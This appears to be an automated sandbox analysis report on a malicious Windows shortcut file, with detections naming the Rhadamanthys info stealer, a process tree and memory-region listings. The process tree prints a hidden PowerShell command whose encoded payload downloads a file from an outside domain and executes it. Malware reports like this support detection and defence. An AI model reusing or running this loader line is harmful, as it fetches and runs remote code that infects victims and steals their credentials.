Resubmissions

06/04/2024, 04:05

240406-enx1qaac2110

06/04/2024, 03:12

240406-dqergshf7w10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/04/2024, 03:12

General

  • Target
    DOC4310 - 43104310.lnk
  • Size 15KB
  • Sample240406-dqergshf7w
  • SHA256 bb530d072743d54a2cd400181b1e80f08986360f7f55786d1438bffd00041569
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2992
      • C:\Windows\system32\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2656
    • C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC4310 - 43104310.lnk"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2944
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:632

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_opkp4oo2.gf1.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_opkp4oo2.gf1.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/632-22-0x00007FFD4DFE0000-0x00007FFD4E09E000-memory.dmp

          memory/632-18-0x0000019A41AE0000-0x0000019A41AF0000-memory.dmp

          memory/632-13-0x0000019A3F540000-0x0000019A3F550000-memory.dmp

          memory/632-14-0x0000019A3F540000-0x0000019A3F550000-memory.dmp

          memory/632-15-0x0000019A41A80000-0x0000019A41ADE000-memory.dmp

          memory/632-16-0x0000019A41AE0000-0x0000019A41AF0000-memory.dmp

          memory/632-17-0x0000019A41B40000-0x0000019A41F40000-memory.dmp

          memory/632-23-0x00007FFD4C660000-0x00007FFD4C929000-memory.dmp

          memory/632-11-0x0000019A3F510000-0x0000019A3F532000-memory.dmp

          memory/632-20-0x00007FFD4EC70000-0x00007FFD4EE65000-memory.dmp

          memory/632-12-0x00007FFD30870000-0x00007FFD31331000-memory.dmp

          memory/632-21-0x0000019A41B40000-0x0000019A41F40000-memory.dmp

          memory/632-19-0x0000019A41B40000-0x0000019A41F40000-memory.dmp

          memory/632-29-0x0000019A41B40000-0x0000019A41F40000-memory.dmp

          memory/632-27-0x00007FFD30870000-0x00007FFD31331000-memory.dmp

          memory/2656-24-0x00000174C4E90000-0x00000174C4E99000-memory.dmp

          memory/2656-30-0x00000174C6910000-0x00000174C6D10000-memory.dmp

          memory/2656-31-0x00000174C6910000-0x00000174C6D10000-memory.dmp

          memory/2656-32-0x00007FFD4EC70000-0x00007FFD4EE65000-memory.dmp

          memory/2656-34-0x00007FFD4DFE0000-0x00007FFD4E09E000-memory.dmp

          memory/2656-35-0x00007FFD4C660000-0x00007FFD4C929000-memory.dmp

          memory/2656-33-0x00000174C6910000-0x00000174C6D10000-memory.dmp

          memory/2656-36-0x00000174C6910000-0x00000174C6D10000-memory.dmp